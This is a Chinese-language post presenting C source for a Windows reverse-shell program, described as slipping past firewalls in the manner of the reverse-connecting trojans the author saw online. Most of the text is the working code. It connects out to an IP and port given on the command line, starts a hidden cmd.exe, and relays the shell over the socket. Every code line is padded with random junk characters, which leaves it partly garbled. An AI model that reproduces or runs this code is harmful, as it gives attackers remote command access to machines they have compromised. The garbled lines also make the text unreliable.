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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J:f>/  
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/* ============================== @iUzRsl  
Rebound port in Windows NT T;GBZR%  
By wind,2006/7 V-A^9AAPm  
===============================*/ qh0)~JL4   
#include `NXyzT`:K  
#include dpZ7eJ   
m<8j' [+  
#pragma comment(lib,"wsock32.lib") Jl Q%+$  
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void OutputShell(); YC&iH>jO3  
SOCKET sClient; _|DP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; % %c0UaV  
vIU+ZdBw  
void main(int argc,char **argv) r{)d?Ho=  
{ p$f#W  
WSADATA stWsaData; (J.(Fl>^  
int nRet; ^K@r!)We  
SOCKADDR_IN stSaiClient,stSaiServer; vbqI$F[s  
w?C _LP  
if(argc != 3) E2(;R!ML#  
{ - c<<A.X  
printf("Useage:\n\rRebound DestIP DestPort\n"); @M#2T  
return; <Ml,H%F  
} T_Z@uZom.  
$DA0lY\  
WSAStartup(MAKEWORD(2,2),&stWsaData); @[=*w`1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L)8+/+  
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stSaiClient.sin_family = AF_INET; @E O #Ms  
stSaiClient.sin_port = htons(0); 1a_;[.s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ><LIOFqsS  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {N)\It  
{ 1GOa'bxm  
printf("Bind Socket Failed!\n"); Cb=r8C  
return; oge^2  
} Ep5lm zg  
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stSaiServer.sin_family = AF_INET; a47Btd'm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8o-?Y.2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (&x~pv"+  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vR,HCI  
{ QIi*'21a+  
printf("Connect Error!"); pC8(>gV<h  
return; enG6T  
} `Z|s p  
OutputShell(); U%oI*  
} rO]C`bg  
1Dt"Rcn"4  
void OutputShell() yp@mxI@1  
{ $k'f)E  
char szBuff[1024]; 3Xd+>'H  
SECURITY_ATTRIBUTES stSecurityAttributes; &=HM}h  
OSVERSIONINFO stOsversionInfo; LvWU %?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GZZLX19s q  
STARTUPINFO stStartupInfo; |]GEJUWtCd  
char *szShell; )[p8  
PROCESS_INFORMATION stProcessInformation; #> CN,eiZ  
unsigned long lBytesRead; ljiq+tT  
OzO_E8Kb\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !ox&`  
bx6@FKns}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T{uktIO/  
stSecurityAttributes.lpSecurityDescriptor = 0; @;rVB  
stSecurityAttributes.bInheritHandle = TRUE; ykM#EyN  
N"r ;d+LTL  
jQb=N%5s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IC}zgvcW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LrPDpTd  
@b>]q$)(}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5&}icS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {_q2kk  
stStartupInfo.wShowWindow = SW_HIDE; T&R`s+7  
stStartupInfo.hStdInput = hReadPipe; n|,Es!8:o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XX6&% 7(  
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GetVersionEx(&stOsversionInfo); hJ}G5pX  
!?l 23(d  
switch(stOsversionInfo.dwPlatformId) E32z(:7M  
{ `/HygC6  
case 1: SbGp  
szShell = "command.com"; V >['~|  
break; _I8-0DnOM  
default: Qb(CH  
szShell = "cmd.exe"; M2s   
break; E_H1X'|qS4  
} Rp@u.C <  
htF&VeIte  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (vI7qD_  
 R(zsn;  
send(sClient,szMsg,77,0); wz, \zh  
while(1) wR;l"*j  
{ #5H@/o8!s=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EXBfzK)a  
if(lBytesRead) vaQ,l6z .h  
{ wZC'BLD  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~f@<]  
send(sClient,szBuff,lBytesRead,0); BMdr.0  
} AoR`/tr,  
else &a|oJ'clz  
{ TM"-X\e~{  
lBytesRead=recv(sClient,szBuff,1024,0); ^-ACtA)  
if(lBytesRead<=0) break; iF%q 6R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SHGO;  
} .Z^g 7 *s  
} B}MJ?uvA  
sRMzU  
return; TgUQD(d^  
}
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